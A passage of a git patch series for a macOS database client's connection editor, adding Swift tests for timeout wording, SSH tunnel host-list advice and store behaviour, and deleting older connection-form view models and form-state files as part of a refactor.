#expect(!ConnectionEditorPresentations.alertsSaveError(.invalid(issue))) + #expect(ConnectionEditorPresentations.alertsSaveError(.keychainWriteFailed)) + #expect(ConnectionEditorPresentations.alertsSaveError(.recordMissing)) + } + + @Test("A test result keeps the server version only when it signed in") + func testResultServerVersion() { + #expect(ConnectionTestResult(succeeded: true, serverVersion: "16.4").serverVersion == "16.4") + #expect(ConnectionTestResult(succeeded: false, serverVersion: "16.4").serverVersion == nil) + } +} diff --git a/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreOptionsTests.swift b/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreOptionsTests.swift new file mode 100644 index 0000000000..d6132ec7df --- /dev/null +++ b/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreOptionsTests.swift @@ -0,0 +1,57 @@ +import Foundation +import Testing + +@testable import TablePro + +@MainActor +struct ConnectionEditorStoreOptionsTests { + private let english = Locale(identifier: "en_US") + + @Test("No global limit reads as no limit, never as zero") + func zeroReadsAsNoLimit() { + #expect( + QueryTimeoutInheritance.subtitle(globalSeconds: 0, locale: english) + == "Leave blank to use Settings > Connections: no limit." + ) + } + + @Test("A global limit reads as a duration in words", arguments: [ + (1, "1 second"), + (60, "1 minute"), + (90, "1 minute, 30 seconds"), + (300, "5 minutes"), + (3_600, "1 hour") + ]) + func limitReadsAsDuration(seconds: Int, words: String) { + #expect( + QueryTimeoutInheritance.subtitle(globalSeconds: seconds, locale: english) + == "Leave blank to use Settings > Connections: \(words)." + ) + } + + @Test("An out-of-range global value shows what a connection actually gets") + func outOfRangeGlobalIsClamped() { + #expect(QueryTimeoutInheritance.inheritedSeconds(globalSeconds: -5) == 0) + #expect( + QueryTimeoutInheritance.inheritedSeconds(globalSeconds: 9_999_999) + == DatabaseConnection.queryTimeoutSecondsRange.upperBound + ) + } + + @Test("Startup commands are SQL only for an engine whose editor speaks SQL") + func startupCommandsLanguage() throws { + let fixture = try ConnectionEditorStoreFixture() + #expect(fixture.makeStore(.new(type: .postgresql, parsedURL: nil)).startupCommandsAreSQL) + #expect(!fixture.makeStore(.new(type: .redis, parsedURL: nil)).startupCommandsAreSQL) + } + + @Test("The read-only note follows the External Clients level") + func readOnlyNoteFollowsAccess() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = fixture.makeStore(.new(type: .postgresql, parsedURL: nil)) + store.update { $0.ai.externalAccess = .readOnly } + #expect(store.externalClientsReadOnlyNote != nil) + store.update { $0.ai.externalAccess = .readWrite } + #expect(store.externalClientsReadOnlyNote == nil) + } +} diff --git a/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreSSHAndProxiesTests.swift b/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreSSHAndProxiesTests.swift new file mode 100644 index 0000000000..dcd4505f28 --- /dev/null +++ b/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreSSHAndProxiesTests.swift @@ -0,0 +1,58 @@ +// +// ConnectionEditorStoreSSHAndProxiesTests.swift +// TableProTests +// + +import Foundation +import Testing + +@testable import TablePro + +@MainActor +struct ConnectionEditorStoreSSHAndProxiesTests { + @Test("Redis Sentinel says Sentinel cannot run through a tunnel, even with one node") + func sentinelAdvice() throws { + let many = try #require(TunnelHostListAdvice.message(fieldId: "redisSentinelHosts", hosts: "s1.example:26379,s2.example:26379")) + #expect(many.localizedCaseInsensitiveContains("Sentinel")) + #expect(!many.localizedCaseInsensitiveContains("replica set")) + #expect(TunnelHostListAdvice.message(fieldId: "redisSentinelHosts", hosts: "s1.example:26379") != nil) + } + + @Test("Redis Cluster names the first node, even with one seed") + func clusterAdvice() throws { + let advice = try #require(TunnelHostListAdvice.message(fieldId: "redisClusterHosts", hosts: "n1.example:7000,n2.example:7001")) + #expect(advice.localizedCaseInsensitiveContains("node")) + #expect(TunnelHostListAdvice.message(fieldId: "redisClusterHosts", hosts: "n1.example:7000") != nil) + } + + @Test("Kafka names the first broker and MongoDB its replica set") + func brokerAndReplicaSetAdvice() throws { + let kafka = try #require(TunnelHostListAdvice.message(fieldId: "kafkaBootstrapServers", hosts: "b1.example:9092,b2.example:9092")) + #expect(kafka.localizedCaseInsensitiveContains("broker")) + let mongo = try #require(TunnelHostListAdvice.message(fieldId: "mongoHosts", hosts: "a.example:27017,b.example:27017")) + #expect(mongo.localizedCaseInsensitiveContains("replica set")) + } + + @Test("A single host gets no advice") + func singleHostHasNoAdvice() { + #expect(TunnelHostListAdvice.message(fieldId: "mongoHosts", hosts: "a.example:27017") == nil) + #expect(TunnelHostListAdvice.message(fieldId: "anyHosts", hosts: "a.example") == nil) + } + + @Test("The store advises only while the SSH tunnel carries a host list") + func storeAdvisesOnlyOverSSH() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = fixture.makeStore(.new(type: .redis, parsedURL: nil)) + store.setFieldValue("sentinel", for: "redisMode") + store.setFieldValue("s1.example:26379,s2.example:26379", for: "redisSentinelHosts") + #expect(store.tunnelHostListAdvice == nil) + + store.selectTransport(.ssh) + let advice = try #require(store.tunnelHostListAdvice) + #expect(advice.localizedCaseInsensitiveContains("Sentinel")) + + let postgres = fixture.makeStore(.new(type: .postgresql, parsedURL: nil)) + postgres.selectTransport(.ssh) + #expect(postgres.tunnelHostListAdvice == nil) + } +} diff --git a/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreTests.swift b/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreTests.swift index 4bab22d7b7..5ecad7b71e 100644 --- a/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreTests.swift +++ b/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreTests.swift @@ -208,7 +208,7 @@ struct ConnectionEditorStoreTests { let fixture = try ConnectionEditorStoreFixture() let profile = SSHProfile(name: "Bastion", host: "bastion.example.com", username: "ops") #expect(fixture.sshProfiles.addProfile(profile)) - #expect(fixture.sshProfiles.saveSSHPassword("profile-secret", for: profile.id)) + fixture.sshProfiles.saveSSHPassword("profile-secret", for: profile.id) var connection = postgres() connection.sshProfileId = profile.id connection.sshTunnelMode = .profile(id: profile.id, snapshot: profile.toSSHConfiguration()) From b7d608367c331877866b444cda1eec0414f4b619 Mon Sep 17 00:00:00 2001 From: Ngo Quoc Dat Date: Sun, 22 Nov 2026 22:01:01 +0700 Subject: [PATCH 04/13] wip(connection-editor): wave 3 cleanup and polish --- apple/TablePro/AppDelegate.swift | 4 +- .../Infrastructure/WindowIdentifier.swift | 11 +- .../Connection/ConnectionURLParser.swift | 5 - .../Connection/CloudSQLProxyFormState.swift | 58 - .../CloudflareTunnelFormState.swift | 61 - .../DatabaseConnection+Masking.swift | 5 +- .../Connection/SOCKSProxyFormState.swift | 38 - .../Connection/SSHTunnelFormState.swift | 225 ---- .../Connection/TunnelCommandFormState.swift | 38 - .../Connection/ConnectionColorPicker.swift | 31 - .../Connection/PasswordPromptToggle.swift | 84 -- .../Components/ConnectionFormActionBar.swift | 137 -- .../Components/CredentialProfilePicker.swift | 93 -- .../Components/StartupCommandsEditor.swift | 29 - .../TestConnectionStatusButton.swift | 56 - .../ConnectionFormContentView.swift | 218 --- ...ConnectionFormCoordinator+Extensions.swift | 31 - .../ConnectionFormCoordinator+SafeMode.swift | 38 - .../ConnectionFormCoordinator+Transport.swift | 166 --- .../ConnectionFormCoordinator.swift | 1170 ----------------- .../ConnectionForm/ConnectionFormTab.swift | 59 - .../Engine/ConnectionDraft+Retype.swift | 9 +- .../Engine/ConnectionEditorEngine+Edits.swift | 6 +- .../ConnectionEditorEngine+Issues.swift | 3 - .../Engine/ConnectionEditorEngine+Name.swift | 67 + .../Engine/ConnectionEditorEngine.swift | 1 + .../ConnectionForm/Engine/EditorLayout.swift | 3 +- .../Facets/AIAndMCPFacetView.swift | 7 +- .../Facets/AdvancedAttachedDatabaseRows.swift | 23 +- .../Facets/AdvancedExtensionRows.swift | 23 +- .../Facets/AdvancedFacetView.swift | 6 +- .../Facets/AppearanceFacetView.swift | 12 +- .../Facets/GeneralAuthenticationRows.swift | 17 +- .../Facets/GeneralConnectionRows.swift | 11 +- .../Facets/GeneralFacetView.swift | 22 +- .../Facets/Rows/EditorCodeEditor.swift | 106 +- .../Facets/Rows/EditorOptionalNumberRow.swift | 6 +- .../Facets/Rows/EditorPathRow.swift | 28 +- .../Facets/Rows/EditorRowFocus.swift | 147 +++ .../Facets/Rows/EditorRowLabel.swift | 54 +- .../Facets/Rows/EditorTextRow.swift | 12 +- .../Facets/Rows/PluginFieldRow.swift | 18 +- .../Facets/SSHAndProxiesFacetView.swift | 6 +- .../Facets/SSHAndProxiesJumpHostRows.swift | 20 +- .../Facets/SSHAndProxiesSSHRows.swift | 13 +- .../ConnectionForm/Facets/SSLFacetView.swift | 3 +- .../Facets/SafeModeFacetView.swift | 18 +- .../Facets/TransportProxyRows.swift | 13 +- .../Panes/AppearancePaneView.swift | 37 - .../Panes/GeneralPaneView.swift | 429 ------ .../Panes/LocalSocketRows.swift | 103 -- .../Panes/NetworkPaneView.swift | 98 -- .../Panes/OptionsPaneView.swift | 555 -------- .../ConnectionForm/Panes/SSLSections.swift | 163 --- .../CloudSQLProxyTransportSections.swift | 185 --- .../CloudflareTransportSections.swift | 130 -- .../SOCKSProxyTransportSections.swift | 44 - .../Panes/Transports/SSHServerSections.swift | 373 ------ .../Transports/SSHTransportSections.swift | 124 -- .../TunnelCommandTransportSections.swift | 169 --- .../Shell/ConnectionEditorCloseGuard.swift | 15 + .../Shell/ConnectionEditorCommitBar.swift | 13 +- ...ConnectionEditorDetailViewController.swift | 34 +- ...onnectionEditorSidebarViewController.swift | 2 +- .../ConnectionEditorWindowController.swift | 79 ++ .../Store/ConnectionEditorStore+Load.swift | 6 +- .../Store/ConnectionEditorStore+Save.swift | 1 + .../Store/ConnectionEditorStore+Test.swift | 3 +- .../Store/ConnectionEditorStore.swift | 94 +- .../Support/ConnectionPresentation.swift | 74 -- .../Support/DatabaseFileButtons.swift | 53 - .../Support/FilePathConnectionFieldRow.swift | 27 - .../ConnectionForm/Support/PgpassStatus.swift | 24 + .../Support/PluginFieldRendering.swift | 37 - .../ViewModels/AIRulesPaneViewModel.swift | 23 - .../ViewModels/AdvancedPaneViewModel.swift | 153 --- .../ViewModels/AuthPaneViewModel.swift | 257 ---- .../CloudSQLProxyPaneViewModel.swift | 105 -- .../CloudflareTunnelPaneViewModel.swift | 136 -- .../CustomizationPaneViewModel.swift | 61 - .../MaskingRulesPaneViewModel.swift | 35 - .../NetworkPaneViewModel+LocalSocket.swift | 80 -- .../ViewModels/NetworkPaneViewModel.swift | 278 ---- .../ViewModels/RemoteFilePaneViewModel.swift | 52 - .../ViewModels/SOCKSProxyPaneViewModel.swift | 43 - .../ViewModels/SSHPaneViewModel.swift | 49 - .../ViewModels/SSLPaneViewModel.swift | 87 -- .../TunnelCommandPaneViewModel.swift | 23 - .../CloudSQLProxyPaneViewModelTests.swift | 124 -- .../CloudflareTunnelPaneViewModelTests.swift | 87 -- .../Execution/ManualCommitTests.swift | 27 +- .../Services/WorkspaceRailStoreTests.swift | 14 +- .../ConnectionStorageImportTests.swift | 11 +- .../ConnectionURLParserTLSPortTests.swift | 15 +- .../ImportedSSLModeResolutionTests.swift | 12 +- .../SOCKS/SOCKSProxyModelTests.swift | 44 +- .../SOCKS/SOCKSProxyPaneViewModelTests.swift | 56 - .../TunnelCommandModelTests.swift | 33 +- .../TunnelCommandPreviewTests.swift | 46 - .../ConnectionFormChildObservationTests.swift | 87 -- .../ConnectionFormDisclosureStateTests.swift | 60 - .../ViewModels/ConnectionFormEditsTests.swift | 35 +- .../ConnectionFormPortTLSTests.swift | 130 -- .../ConnectionFormTransportTests.swift | 465 ------- .../ConnectionFormURLImportTests.swift | 120 -- .../ConnectionPresentationTests.swift | 132 -- .../ConnectionTimeoutSettingsTests.swift | 75 +- .../RemoteFilePaneValidationTests.swift | 65 - .../ViewModels/SSLPaneViewModelTests.swift | 184 --- .../Connection/CommandPreviewThemeTests.swift | 14 +- .../ClearedSecretSaveTests.swift | 131 -- .../EndpointHostListFormTests.swift | 148 --- .../ConnectionEditorEngineAdvancedTests.swift | 125 ++ ...ectionEditorEngineDatabaseFieldTests.swift | 122 ++ ...tionEditorEngineFieldVisibilityTests.swift | 184 +++ .../ConnectionEditorEngineHostListTests.swift | 158 +++ .../ConnectionEditorEngineIssueTests.swift | 14 +- ...nnectionEditorEngineLocalSocketTests.swift | 229 ++++ .../ConnectionEditorEngineNameTests.swift | 80 ++ .../ConnectionEditorEngineSSLTests.swift | 178 +++ ...ctionEditorEngineTransportIssueTests.swift | 269 ++++ ...ConnectionEditorEngineTransportTests.swift | 447 +++++++ .../NetworkPaneDatabaseFieldTests.swift | 104 -- .../NetworkPaneLocalSocketTests.swift | 200 --- .../NetworkPanePostgreSQLSocketTests.swift | 161 --- .../NetworkPaneSocketForwardTests.swift | 91 -- ...etworkPaneTunnelHostListCaptionTests.swift | 87 -- .../Shell/ConnectionEditorFocusTests.swift | 161 +++ .../Shell/ConnectionEditorQuitTests.swift | 145 ++ .../ConnectionEditorRenderCostTests.swift | 133 ++ .../Shell/ConnectionEditorWindowTests.swift | 7 +- .../ConnectionEditorStoreAdvancedTests.swift | 65 + .../ConnectionEditorStoreAuthTests.swift | 126 ++ ...onnectionEditorStoreLocalSocketTests.swift | 132 ++ .../ConnectionEditorStorePortTLSTests.swift | 160 +++ .../ConnectionEditorStoreRevealTests.swift | 160 +++ ...onnectionEditorStoreSecretStateTests.swift | 200 +++ .../Store/ConnectionEditorStoreTests.swift | 28 +- .../ConnectionEditorStoreTransportTests.swift | 199 +++ .../ConnectionEditorStoreURLImportTests.swift | 132 ++ .../AdvancedPaneExtensionTests.swift | 72 - .../AdvancedPaneViewModelTests.swift | 93 -- .../AuthPanePasswordSourceTests.swift | 112 -- .../Views/SQLCodeFieldThemeTests.swift | 39 +- .../ConnectionEditorIssueJumpUITests.swift | 78 ++ .../ConnectionFormDisclosureUITests.swift | 38 - .../NewConnectionCommandUITests.swift | 2 +- 147 files changed, 4329 insertions(+), 9782 deletions(-) delete mode 100644 apple/TablePro/Models/Connection/CloudSQLProxyFormState.swift delete mode 100644 apple/TablePro/Models/Connection/CloudflareTunnelFormState.swift delete mode 100644 apple/TablePro/Models/Connection/SOCKSProxyFormState.swift delete mode 100644 apple/TablePro/Models/Connection/SSHTunnelFormState.swift delete mode 100644 apple/TablePro/Models/Connection/TunnelCommandFormState.swift delete mode 100644 apple/TablePro/Views/Connection/ConnectionColorPicker.swift delete mode 100644 apple/TablePro/Views/Connection/PasswordPromptToggle.swift delete mode 100644 apple/TablePro/Views/ConnectionForm/Components/ConnectionFormActionBar.swift delete mode 100644 apple/TablePro/Views/ConnectionForm/Components/CredentialProfilePicker.swift delete mode 100644 apple/TablePro/Views/ConnectionForm/Components/StartupCommandsEditor.swift delete mode 100644 apple/TablePro/Views/ConnectionForm/Components/TestConnectionStatusButton.swift delete mode 100644 apple/TablePro/Views/ConnectionForm/ConnectionFormContentView.swift delete mode 100644 apple/TablePro/Views/ConnectionForm/ConnectionFormCoordinator+Extensions.swift delete mode 100644 apple/TablePro/Views/ConnectionForm/ConnectionFormCoordinator+SafeMode.swift delete mode 100644 apple/TablePro/Views/ConnectionForm/ConnectionFormCoordinator+Transport.swift delete mode 100644 apple/TablePro/Views/ConnectionForm/ConnectionFormCoordinator.swift delete mode 100644 apple/TablePro/Views/ConnectionForm/ConnectionFormTab.swift create mode 100644 apple/TablePro/Views/ConnectionForm/Engine/ConnectionEditorEngine+Name.swift create mode 100644 apple/TablePro/Views/ConnectionForm/Facets/Rows/EditorRowFocus.swift delete mode 100644 apple/TablePro/Views/ConnectionForm/Panes/AppearancePaneView.swift delete mode 100644 apple/TablePro/Views/ConnectionForm/Panes/GeneralPaneView.swift delete mode 100644 apple/TablePro/Views/ConnectionForm/Panes/LocalSocketRows.swift delete mode 100644 apple/TablePro/Views/ConnectionForm/Panes/NetworkPaneView.swift delete mode 100644 apple/TablePro/Views/ConnectionForm/Panes/OptionsPaneView.swift delete mode 100644 apple/TablePro/Views/ConnectionForm/Panes/SSLSections.swift delete mode 100644 apple/TablePro/Views/ConnectionForm/Panes/Transports/CloudSQLProxyTransportSections.swift delete mode 100644 apple/TablePro/Views/ConnectionForm/Panes/Transports/CloudflareTransportSections.swift delete mode 100644 apple/TablePro/Views/ConnectionForm/Panes/Transports/SOCKSProxyTransportSections.swift delete mode 100644 apple/TablePro/Views/ConnectionForm/Panes/Transports/SSHServerSections.swift delete mode 100644 apple/TablePro/Views/ConnectionForm/Panes/Transports/SSHTransportSections.swift delete mode 100644 apple/TablePro/Views/ConnectionForm/Panes/Transports/TunnelCommandTransportSections.swift delete mode 100644 apple/TablePro/Views/ConnectionForm/Support/ConnectionPresentation.swift delete mode 100644 apple/TablePro/Views/ConnectionForm/Support/DatabaseFileButtons.swift delete mode 100644 apple/TablePro/Views/ConnectionForm/Support/FilePathConnectionFieldRow.swift create mode 100644 apple/TablePro/Views/ConnectionForm/Support/PgpassStatus.swift delete mode 100644 apple/TablePro/Views/ConnectionForm/Support/PluginFieldRendering.swift delete mode 100644 apple/TablePro/Views/ConnectionForm/ViewModels/AIRulesPaneViewModel.swift delete mode 100644 apple/TablePro/Views/ConnectionForm/ViewModels/AdvancedPaneViewModel.swift delete mode 100644 apple/TablePro/Views/ConnectionForm/ViewModels/AuthPaneViewModel.swift delete mode 100644 apple/TablePro/Views/ConnectionForm/ViewModels/CloudSQLProxyPaneViewModel.swift delete mode 100644 apple/TablePro/Views/ConnectionForm/ViewModels/CloudflareTunnelPaneViewModel.swift delete mode 100644 apple/TablePro/Views/ConnectionForm/ViewModels/CustomizationPaneViewModel.swift delete mode 100644 apple/TablePro/Views/ConnectionForm/ViewModels/MaskingRulesPaneViewModel.swift delete mode 100644 apple/TablePro/Views/ConnectionForm/ViewModels/NetworkPaneViewModel+LocalSocket.swift delete mode 100644 apple/TablePro/Views/ConnectionForm/ViewModels/NetworkPaneViewModel.swift delete mode 100644 apple/TablePro/Views/ConnectionForm/ViewModels/RemoteFilePaneViewModel.swift delete mode 100644 apple/TablePro/Views/ConnectionForm/ViewModels/SOCKSProxyPaneViewModel.swift delete mode 100644 apple/TablePro/Views/ConnectionForm/ViewModels/SSHPaneViewModel.swift delete mode 100644 apple/TablePro/Views/ConnectionForm/ViewModels/SSLPaneViewModel.swift delete mode 100644 apple/TablePro/Views/ConnectionForm/ViewModels/TunnelCommandPaneViewModel.swift delete mode 100644 apple/TableProTests/CloudSQL/CloudSQLProxyPaneViewModelTests.swift delete mode 100644 apple/TableProTests/Cloudflare/CloudflareTunnelPaneViewModelTests.swift delete mode 100644 apple/TableProTests/SOCKS/SOCKSProxyPaneViewModelTests.swift delete mode 100644 apple/TableProTests/TunnelCommand/TunnelCommandPreviewTests.swift delete mode 100644 apple/TableProTests/ViewModels/ConnectionFormChildObservationTests.swift delete mode 100644 apple/TableProTests/ViewModels/ConnectionFormDisclosureStateTests.swift delete mode 100644 apple/TableProTests/ViewModels/ConnectionFormPortTLSTests.swift delete mode 100644 apple/TableProTests/ViewModels/ConnectionFormTransportTests.swift delete mode 100644 apple/TableProTests/ViewModels/ConnectionFormURLImportTests.swift delete mode 100644 apple/TableProTests/ViewModels/ConnectionPresentationTests.swift delete mode 100644 apple/TableProTests/ViewModels/RemoteFilePaneValidationTests.swift delete mode 100644 apple/TableProTests/ViewModels/SSLPaneViewModelTests.swift delete mode 100644 apple/TableProTests/Views/ConnectionForm/ClearedSecretSaveTests.swift delete mode 100644 apple/TableProTests/Views/ConnectionForm/EndpointHostListFormTests.swift create mode 100644 apple/TableProTests/Views/ConnectionForm/Engine/ConnectionEditorEngineAdvancedTests.swift create mode 100644 apple/TableProTests/Views/ConnectionForm/Engine/ConnectionEditorEngineDatabaseFieldTests.swift create mode 100644 apple/TableProTests/Views/ConnectionForm/Engine/ConnectionEditorEngineFieldVisibilityTests.swift create mode 100644 apple/TableProTests/Views/ConnectionForm/Engine/ConnectionEditorEngineHostListTests.swift create mode 100644 apple/TableProTests/Views/ConnectionForm/Engine/ConnectionEditorEngineLocalSocketTests.swift create mode 100644 apple/TableProTests/Views/ConnectionForm/Engine/ConnectionEditorEngineNameTests.swift create mode 100644 apple/TableProTests/Views/ConnectionForm/Engine/ConnectionEditorEngineSSLTests.swift create mode 100644 apple/TableProTests/Views/ConnectionForm/Engine/ConnectionEditorEngineTransportIssueTests.swift create mode 100644 apple/TableProTests/Views/ConnectionForm/Engine/ConnectionEditorEngineTransportTests.swift delete mode 100644 apple/TableProTests/Views/ConnectionForm/NetworkPaneDatabaseFieldTests.swift delete mode 100644 apple/TableProTests/Views/ConnectionForm/NetworkPaneLocalSocketTests.swift delete mode 100644 apple/TableProTests/Views/ConnectionForm/NetworkPanePostgreSQLSocketTests.swift delete mode 100644 apple/TableProTests/Views/ConnectionForm/NetworkPaneSocketForwardTests.swift delete mode 100644 apple/TableProTests/Views/ConnectionForm/NetworkPaneTunnelHostListCaptionTests.swift create mode 100644 apple/TableProTests/Views/ConnectionForm/Shell/ConnectionEditorFocusTests.swift create mode 100644 apple/TableProTests/Views/ConnectionForm/Shell/ConnectionEditorQuitTests.swift create mode 100644 apple/TableProTests/Views/ConnectionForm/Shell/ConnectionEditorRenderCostTests.swift create mode 100644 apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreAdvancedTests.swift create mode 100644 apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreAuthTests.swift create mode 100644 apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreLocalSocketTests.swift create mode 100644 apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStorePortTLSTests.swift create mode 100644 apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreRevealTests.swift create mode 100644 apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreSecretStateTests.swift create mode 100644 apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreTransportTests.swift create mode 100644 apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreURLImportTests.swift delete mode 100644 apple/TableProTests/Views/ConnectionForm/ViewModels/AdvancedPaneExtensionTests.swift delete mode 100644 apple/TableProTests/Views/ConnectionForm/ViewModels/AdvancedPaneViewModelTests.swift delete mode 100644 apple/TableProTests/Views/ConnectionForm/ViewModels/AuthPanePasswordSourceTests.swift create mode 100644 apple/TableProUITests/ConnectionEditorIssueJumpUITests.swift delete mode 100644 apple/TableProUITests/ConnectionFormDisclosureUITests.swift diff --git a/apple/TablePro/AppDelegate.swift b/apple/TablePro/AppDelegate.swift index 3f27c3a2cf..8b29f6b12b 100644 --- a/apple/TablePro/AppDelegate.swift +++ b/apple/TablePro/AppDelegate.swift @@ -195,7 +195,8 @@ class AppDelegate: NSObject, NSApplicationDelegate { } func applicationShouldTerminate(_ sender: NSApplication) -> NSApplication.TerminateReply { - guard let plan = QuitApproval.approve() else { + // The connection editors first: their Cancel keeps the app open before anything else is asked or stopped. + guard ConnectionEditorWindowController.prepareToTerminate(), let plan = QuitApproval.approve() else { AppRelauncher.shared.terminationWasCancelled() return .terminateCancel } @@ -220,6 +221,7 @@ class AppDelegate: NSObject, NSApplicationDelegate { } func applicationWillTerminate(_ notification: Notification) { + ConnectionEditorWindowController.closeAllForTermination() SessionRecoveryTracker.saveOnQuit() /// Synchronously, because an actor hop at terminate may never be scheduled: a session killed /// mid-reply used to come back with its last turn missing. diff --git a/apple/TablePro/Core/Services/Infrastructure/WindowIdentifier.swift b/apple/TablePro/Core/Services/Infrastructure/WindowIdentifier.swift index 8af00a7e1f..df95c377ed 100644 --- a/apple/TablePro/Core/Services/Infrastructure/WindowIdentifier.swift +++ b/apple/TablePro/Core/Services/Infrastructure/WindowIdentifier.swift @@ -5,13 +5,11 @@ import Foundation -/// The first group doubles as each window's frame autosave name, so changing one of those values -/// throws away the position the user arranged. The second group is matched by prefix at runtime by -/// `ConnectionWindowIdentity` and `WindowManager`, so `dataFile` has to stay under the -/// `connection` prefix or an open data file window stops counting as a primary window. +// The first group doubles as each window's frame autosave name, so changing one throws away the position the +// user arranged. `ConnectionWindowIdentity` and `WindowManager` match the last group by prefix, so `dataFile` +// stays under the `connection` prefix or an open data file window stops counting as a primary window. internal enum WindowIdentifier { internal static let welcome = "welcome" - internal static let connectionForm = "connection-form" internal static let integrationsActivity = "integrations-activity" internal static let settings = "settings" internal static let acknowledgements = "acknowledgements" @@ -19,6 +17,9 @@ internal enum WindowIdentifier { internal static let compareSync = "compare-sync" internal static let signIn = "sign-in" + // The connection editor's frame saves under `ConnectionEditorWindowFrame.autosaveName`. + internal static let connectionForm = "connection-form" + internal static let connection = "main" internal static let dataFile = "main-data-file" } diff --git a/apple/TablePro/Core/Utilities/Connection/ConnectionURLParser.swift b/apple/TablePro/Core/Utilities/Connection/ConnectionURLParser.swift index b33ba2524e..63106b9968 100644 --- a/apple/TablePro/Core/Utilities/Connection/ConnectionURLParser.swift +++ b/apple/TablePro/Core/Utilities/Connection/ConnectionURLParser.swift @@ -1070,9 +1070,4 @@ struct ConnectionURLParser { return nil } } - - @MainActor internal static func tagId(fromEnvName name: String) -> UUID? { - let tags = TagStorage.shared.loadTags() - return tags.first(where: { $0.name.lowercased() == name.lowercased() })?.id - } } diff --git a/apple/TablePro/Models/Connection/CloudSQLProxyFormState.swift b/apple/TablePro/Models/Connection/CloudSQLProxyFormState.swift deleted file mode 100644 index d7a228dd62..0000000000 --- a/apple/TablePro/Models/Connection/CloudSQLProxyFormState.swift +++ /dev/null @@ -1,58 +0,0 @@ -// -// CloudSQLProxyFormState.swift -// TablePro -// - -import Foundation - -struct CloudSQLProxyFormState { - var enabled: Bool = false - var instanceConnectionName: String = "" - var authMode: CloudSQLProxyAuthMode = .applicationDefault - var serviceAccountKeyJSON: String = "" - var useIAMAuth: Bool = false - var usePrivateIP: Bool = false - var automaticPort: Bool = true - var localPort: String = "" - var binaryPath: String = "" - - func buildConfig() -> CloudSQLProxyConfiguration { - CloudSQLProxyConfiguration( - instanceConnectionName: instanceConnectionName.trimmingCharacters(in: .whitespacesAndNewlines), - authMode: authMode, - useIAMAuth: useIAMAuth, - usePrivateIP: usePrivateIP, - localPort: automaticPort ? nil : Int(localPort), - binaryPath: binaryPath.trimmingCharacters(in: .whitespacesAndNewlines) - ) - } - - func buildTunnelMode() -> CloudSQLProxyMode { - enabled ? .inline(buildConfig()) : .disabled - } - - mutating func load(from connection: DatabaseConnection) { - switch connection.cloudSQLProxyMode { - case .disabled: - enabled = false - case .inline(let config): - enabled = true - populateFields(from: config) - } - } - - mutating func populateFields(from config: CloudSQLProxyConfiguration) { - instanceConnectionName = config.instanceConnectionName - authMode = config.authMode - useIAMAuth = config.useIAMAuth - usePrivateIP = config.usePrivateIP - binaryPath = config.binaryPath - if let port = config.localPort { - automaticPort = false - localPort = String(port) - } else { - automaticPort = true - localPort = "" - } - } -} diff --git a/apple/TablePro/Models/Connection/CloudflareTunnelFormState.swift b/apple/TablePro/Models/Connection/CloudflareTunnelFormState.swift deleted file mode 100644 index 75045ab3a7..0000000000 --- a/apple/TablePro/Models/Connection/CloudflareTunnelFormState.swift +++ /dev/null @@ -1,61 +0,0 @@ -// -// CloudflareTunnelFormState.swift -// TablePro -// - -import Foundation - -/// Encapsulates all Cloudflare tunnel UI state for the connection form. -struct CloudflareTunnelFormState { - var enabled: Bool = false - var accessHostname: String = "" - var authMethod: CloudflareAuthMethod = .browserSSO - var serviceTokenId: String = "" - var serviceTokenSecret: String = "" - var automaticPort: Bool = true - var localPort: String = "" - var exposeToLAN: Bool = false - var binaryPath: String = "" - - // MARK: - Build Methods - - func buildConfig() -> CloudflareConfiguration { - CloudflareConfiguration( - accessHostname: accessHostname.trimmingCharacters(in: .whitespacesAndNewlines), - localPort: automaticPort ? nil : Int(localPort), - authMethod: authMethod, - exposeToLAN: exposeToLAN, - binaryPath: binaryPath.trimmingCharacters(in: .whitespacesAndNewlines) - ) - } - - func buildTunnelMode() -> CloudflareTunnelMode { - enabled ? .inline(buildConfig()) : .disabled - } - - // MARK: - Load Methods - - mutating func load(from connection: DatabaseConnection) { - switch connection.cloudflareTunnelMode { - case .disabled: - enabled = false - case .inline(let config): - enabled = true - populateFields(from: config) - } - } - - mutating func populateFields(from config: CloudflareConfiguration) { - accessHostname = config.accessHostname - authMethod = config.authMethod - exposeToLAN = config.exposeToLAN - binaryPath = config.binaryPath - if let port = config.localPort { - automaticPort = false - localPort = String(port) - } else { - automaticPort = true - localPort = "" - } - } -} diff --git a/apple/TablePro/Models/Connection/DatabaseConnection+Masking.swift b/apple/TablePro/Models/Connection/DatabaseConnection+Masking.swift index 1170c04b6d..237df0cfc0 100644 --- a/apple/TablePro/Models/Connection/DatabaseConnection+Masking.swift +++ b/apple/TablePro/Models/Connection/DatabaseConnection+Masking.swift @@ -24,8 +24,11 @@ extension DatabaseConnection { } set { let kept = newValue.filter { !$0.trimmedPattern.isEmpty } + // Stable key order, so the same rules always store the same text and the editor's merge sees no change. + let encoder = JSONEncoder() + encoder.outputFormatting = .sortedKeys guard !kept.isEmpty, - let data = try? JSONEncoder().encode(kept), + let data = try? encoder.encode(kept), let json = String(data: data, encoding: .utf8) else { additionalFields.removeValue(forKey: Self.maskingRulesKey) return diff --git a/apple/TablePro/Models/Connection/SOCKSProxyFormState.swift b/apple/TablePro/Models/Connection/SOCKSProxyFormState.swift deleted file mode 100644 index d2c5925688..0000000000 --- a/apple/TablePro/Models/Connection/SOCKSProxyFormState.swift +++ /dev/null @@ -1,38 +0,0 @@ -// -// SOCKSProxyFormState.swift -// TablePro -// - -import Foundation - 